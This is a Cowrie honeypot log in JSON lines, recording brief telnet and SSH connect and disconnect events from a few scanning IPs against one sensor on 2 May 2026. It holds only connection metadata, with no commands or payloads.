{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51528,"dst_ip":"10.17.0.5","dst_port":23,"session":"361bca8085c9","protocol":"telnet","message":"New connection: 38.54.119.93:51528 (10.17.0.5:23) [session: 361bca8085c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:32.743950Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:32.767102Z","src_ip":"57.128.222.14","session":"b414d8f2fc96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":35480,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf605478dbef","protocol":"telnet","message":"New connection: 144.91.112.66:35480 (10.17.0.5:23) [session: bf605478dbef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:32.902599Z"}
{"eventid":"cowrie.session.closed","duration":30.185444355010986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:34.091990Z","src_ip":"144.91.112.66","session":"b25fdc4ac3c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892844200134277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:34.117874Z","src_ip":"144.91.112.66","session":"e56228d2b735","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81337571144104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:34.223258Z","src_ip":"144.91.112.66","session":"3585bfaba16f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.31799268722534,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:34.517730Z","src_ip":"38.60.198.128","session":"473a1176539f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":43518,"dst_ip":"10.17.0.5","dst_port":23,"session":"af3145ae7de9","protocol":"telnet","message":"New connection: 144.91.112.66:43518 (10.17.0.5:23) [session: af3145ae7de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:35.281873Z"}
{"eventid":"cowrie.session.closed","duration":38.581878423690796,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:35.674775Z","src_ip":"38.60.198.128","session":"80fcb434dc3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.547471046447754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:36.106125Z","src_ip":"144.91.112.66","session":"065636286b0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.48818349838257,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:36.384493Z","src_ip":"38.60.198.128","session":"547d1a9f7a1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":47622,"dst_ip":"10.17.0.5","dst_port":23,"session":"965ee843e531","protocol":"telnet","message":"New connection: 144.91.112.66:47622 (10.17.0.5:23) [session: 965ee843e531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:36.562692Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":48104,"dst_ip":"10.17.0.5","dst_port":23,"session":"40facf8250d4","protocol":"telnet","message":"New connection: 144.91.112.66:48104 (10.17.0.5:23) [session: 40facf8250d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:36.723357Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":48220,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7a6566bbece","protocol":"telnet","message":"New connection: 144.91.112.66:48220 (10.17.0.5:23) [session: c7a6566bbece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:36.752025Z"}
{"eventid":"cowrie.session.closed","duration":37.66271471977234,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:37.225994Z","src_ip":"38.60.198.128","session":"8459cf6d2231","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":40392,"dst_ip":"10.17.0.5","dst_port":23,"session":"9083f8b55826","protocol":"telnet","message":"New connection: 144.91.112.66:40392 (10.17.0.5:23) [session: 9083f8b55826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:37.372502Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":50302,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a9dc695f12c","protocol":"telnet","message":"New connection: 144.91.112.66:50302 (10.17.0.5:23) [session: 5a9dc695f12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:37.379143Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":50586,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d244797af37","protocol":"telnet","message":"New connection: 144.91.112.66:50586 (10.17.0.5:23) [session: 8d244797af37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:37.465550Z"}
{"eventid":"cowrie.session.closed","duration":54.205602407455444,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:38.785173Z","src_ip":"38.60.198.128","session":"6d0a8c3d5a77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":56378,"dst_ip":"10.17.0.5","dst_port":23,"session":"4140a6c9aa69","protocol":"telnet","message":"New connection: 144.91.112.66:56378 (10.17.0.5:23) [session: 4140a6c9aa69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:39.260369Z"}
{"eventid":"cowrie.session.closed","duration":30.83043074607849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:40.470494Z","src_ip":"144.91.112.66","session":"06386764c71a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":60624,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f1497f86a2d","protocol":"telnet","message":"New connection: 144.91.112.66:60624 (10.17.0.5:23) [session: 8f1497f86a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:40.621557Z"}
{"eventid":"cowrie.session.closed","duration":53.54666495323181,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:41.791147Z","src_ip":"38.54.119.93","session":"a4c419bde696","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":36764,"dst_ip":"10.17.0.5","dst_port":23,"session":"201a52eae563","protocol":"telnet","message":"New connection: 144.91.112.66:36764 (10.17.0.5:23) [session: 201a52eae563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:41.981248Z"}
{"eventid":"cowrie.session.closed","duration":32.00440549850464,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:42.035865Z","src_ip":"144.91.112.66","session":"fd0e37aa1137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.33746957778931,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:42.089157Z","src_ip":"38.60.198.128","session":"0616d067ac88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":37310,"dst_ip":"10.17.0.5","dst_port":23,"session":"08bc13e6d4cc","protocol":"telnet","message":"New connection: 144.91.112.66:37310 (10.17.0.5:23) [session: 08bc13e6d4cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:42.185811Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":37494,"dst_ip":"10.17.0.5","dst_port":23,"session":"972f51054e42","protocol":"telnet","message":"New connection: 144.91.112.66:37494 (10.17.0.5:23) [session: 972f51054e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:42.227302Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40250,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1269dc88fc5","protocol":"telnet","message":"New connection: 38.60.198.128:40250 (159.203.135.109:23) [session: d1269dc88fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:43.053013Z"}
{"eventid":"cowrie.session.closed","duration":31.160075664520264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:43.572121Z","src_ip":"144.91.112.66","session":"763a5f2a169f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.973074436187744,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:44.527312Z","src_ip":"38.60.198.128","session":"e627c637ef5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":45486,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cbf9231d9cf","protocol":"telnet","message":"New connection: 144.91.112.66:45486 (10.17.0.5:23) [session: 8cbf9231d9cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:44.799296Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":45840,"dst_ip":"10.17.0.5","dst_port":23,"session":"19564b2fa408","protocol":"telnet","message":"New connection: 144.91.112.66:45840 (10.17.0.5:23) [session: 19564b2fa408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:44.923188Z"}
{"eventid":"cowrie.session.closed","duration":30.650874137878418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:45.356820Z","src_ip":"144.91.112.66","session":"5c088bc1094a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":48486,"dst_ip":"10.17.0.5","dst_port":23,"session":"616cf67f1207","protocol":"telnet","message":"New connection: 144.91.112.66:48486 (10.17.0.5:23) [session: 616cf67f1207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:45.848688Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":49982,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2a03ed0072d","protocol":"telnet","message":"New connection: 144.91.112.66:49982 (10.17.0.5:23) [session: f2a03ed0072d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:46.434502Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":51796,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b6d48b7a53d","protocol":"telnet","message":"New connection: 144.91.112.66:51796 (10.17.0.5:23) [session: 6b6d48b7a53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:47.111260Z"}
{"eventid":"cowrie.session.closed","duration":31.216737031936646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:47.308549Z","src_ip":"144.91.112.66","session":"a1a297d98f53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":54056,"dst_ip":"10.17.0.5","dst_port":23,"session":"a14d5f2e9ba0","protocol":"telnet","message":"New connection: 144.91.112.66:54056 (10.17.0.5:23) [session: a14d5f2e9ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:47.899980Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":54260,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfc6c33a22d4","protocol":"telnet","message":"New connection: 144.91.112.66:54260 (10.17.0.5:23) [session: bfc6c33a22d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:47.981726Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":54346,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6999ad1ab55","protocol":"telnet","message":"New connection: 144.91.112.66:54346 (10.17.0.5:23) [session: e6999ad1ab55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:48.021836Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":55786,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8a1a75f2c5b","protocol":"telnet","message":"New connection: 144.91.112.66:55786 (10.17.0.5:23) [session: e8a1a75f2c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:48.547774Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47556,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe555bc583bd","protocol":"telnet","message":"New connection: 38.60.198.128:47556 (159.203.135.109:23) [session: fe555bc583bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:49.092552Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":58580,"dst_ip":"10.17.0.5","dst_port":23,"session":"adcf207d61fa","protocol":"telnet","message":"New connection: 144.91.112.66:58580 (10.17.0.5:23) [session: adcf207d61fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:49.428029Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":59498,"dst_ip":"10.17.0.5","dst_port":23,"session":"f82e4b6986c1","protocol":"telnet","message":"New connection: 144.91.112.66:59498 (10.17.0.5:23) [session: f82e4b6986c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:49.742269Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":34466,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0db221a3d96","protocol":"telnet","message":"New connection: 144.91.112.66:34466 (10.17.0.5:23) [session: e0db221a3d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:50.772418Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":35350,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2cde95ae8a3","protocol":"telnet","message":"New connection: 144.91.112.66:35350 (10.17.0.5:23) [session: c2cde95ae8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:51.086379Z"}
{"eventid":"cowrie.session.closed","duration":31.128013372421265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:51.109775Z","src_ip":"144.91.112.66","session":"518029131b74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":37666,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b81c808f530","protocol":"telnet","message":"New connection: 144.91.112.66:37666 (10.17.0.5:23) [session: 7b81c808f530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:51.899870Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":38038,"dst_ip":"10.17.0.5","dst_port":23,"session":"a49c08cd3060","protocol":"telnet","message":"New connection: 144.91.112.66:38038 (10.17.0.5:23) [session: a49c08cd3060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:52.026988Z"}
{"eventid":"cowrie.session.closed","duration":31.198204517364502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:52.149062Z","src_ip":"144.91.112.66","session":"d9dc7b620f62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34554123878479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:52.571675Z","src_ip":"144.91.112.66","session":"c1064fe1e13f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":44520,"dst_ip":"10.17.0.5","dst_port":23,"session":"806171114576","protocol":"telnet","message":"New connection: 144.91.112.66:44520 (10.17.0.5:23) [session: 806171114576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:54.075815Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":45238,"dst_ip":"10.17.0.5","dst_port":23,"session":"39fc484fbc92","protocol":"telnet","message":"New connection: 144.91.112.66:45238 (10.17.0.5:23) [session: 39fc484fbc92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:54.298405Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":46100,"dst_ip":"10.17.0.5","dst_port":23,"session":"02b0ff4bac23","protocol":"telnet","message":"New connection: 144.91.112.66:46100 (10.17.0.5:23) [session: 02b0ff4bac23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:54.616132Z"}
{"eventid":"cowrie.session.closed","duration":5.749602317810059,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:54.842007Z","src_ip":"38.60.198.128","session":"fe555bc583bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.395012140274048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:55.377667Z","src_ip":"144.91.112.66","session":"b3206e6d7e75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59225296974182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:56.371132Z","src_ip":"144.91.112.66","session":"200b49e569bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":51098,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a095dbb1dd7","protocol":"telnet","message":"New connection: 144.91.112.66:51098 (10.17.0.5:23) [session: 1a095dbb1dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:56.376365Z"}
{"eventid":"cowrie.session.closed","duration":46.814446449279785,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:56.387009Z","src_ip":"38.60.198.128","session":"d6bb02672ccb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.164414405822754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:58.366987Z","src_ip":"144.91.112.66","session":"04cfd41c03d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42798614501953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:58.394507Z","src_ip":"144.91.112.66","session":"50a8553b2064","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.3226044178009,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:58.910355Z","src_ip":"38.60.198.128","session":"6a33400111b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.537538766860962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:59.216618Z","src_ip":"144.91.112.66","session":"8149d9dd64e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":60090,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ba72c3f9b67","protocol":"telnet","message":"New connection: 144.91.112.66:60090 (10.17.0.5:23) [session: 1ba72c3f9b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:59.634158Z"}
{"eventid":"cowrie.session.closed","duration":30.429749965667725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:00.192896Z","src_ip":"144.91.112.66","session":"e0905bc5fc64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.979875802993774,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:00.326076Z","src_ip":"38.60.198.128","session":"6deb451531ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.104053497314453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:00.653538Z","src_ip":"144.91.112.66","session":"2731ab371e0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.019426584243774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:01.218294Z","src_ip":"144.91.112.66","session":"ee94ce016a9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935596466064453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:01.316414Z","src_ip":"144.91.112.66","session":"1398a1bc496e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":35884,"dst_ip":"10.17.0.5","dst_port":23,"session":"89b3d1bee352","protocol":"telnet","message":"New connection: 144.91.112.66:35884 (10.17.0.5:23) [session: 89b3d1bee352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:02.182543Z"}
{"eventid":"cowrie.session.closed","duration":30.607664823532104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:03.321944Z","src_ip":"144.91.112.66","session":"17b0a3c6e987","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5462167263031,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:03.448710Z","src_ip":"144.91.112.66","session":"bf605478dbef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.43656873703003,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:03.817376Z","src_ip":"38.60.198.128","session":"720f8d2cfb6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":42776,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2fd2120ee88","protocol":"telnet","message":"New connection: 144.91.112.66:42776 (10.17.0.5:23) [session: b2fd2120ee88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:04.407823Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":42904,"dst_ip":"10.17.0.5","dst_port":23,"session":"618233acfb57","protocol":"telnet","message":"New connection: 144.91.112.66:42904 (10.17.0.5:23) [session: 618233acfb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:04.536651Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":46752,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc4bd5a68393","protocol":"telnet","message":"New connection: 144.91.112.66:46752 (10.17.0.5:23) [session: bc4bd5a68393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:06.175782Z"}
{"eventid":"cowrie.session.closed","duration":31.21305561065674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:06.494807Z","src_ip":"144.91.112.66","session":"af3145ae7de9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.361812829971313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:07.113720Z","src_ip":"144.91.112.66","session":"c7a6566bbece","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.420212984085083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:07.143460Z","src_ip":"144.91.112.66","session":"40facf8250d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":49404,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc874e850d12","protocol":"telnet","message":"New connection: 144.91.112.66:49404 (10.17.0.5:23) [session: bc874e850d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:07.259233Z"}
{"eventid":"cowrie.session.closed","duration":31.313239336013794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:07.875835Z","src_ip":"144.91.112.66","session":"965ee843e531","protocol":"telnet"}
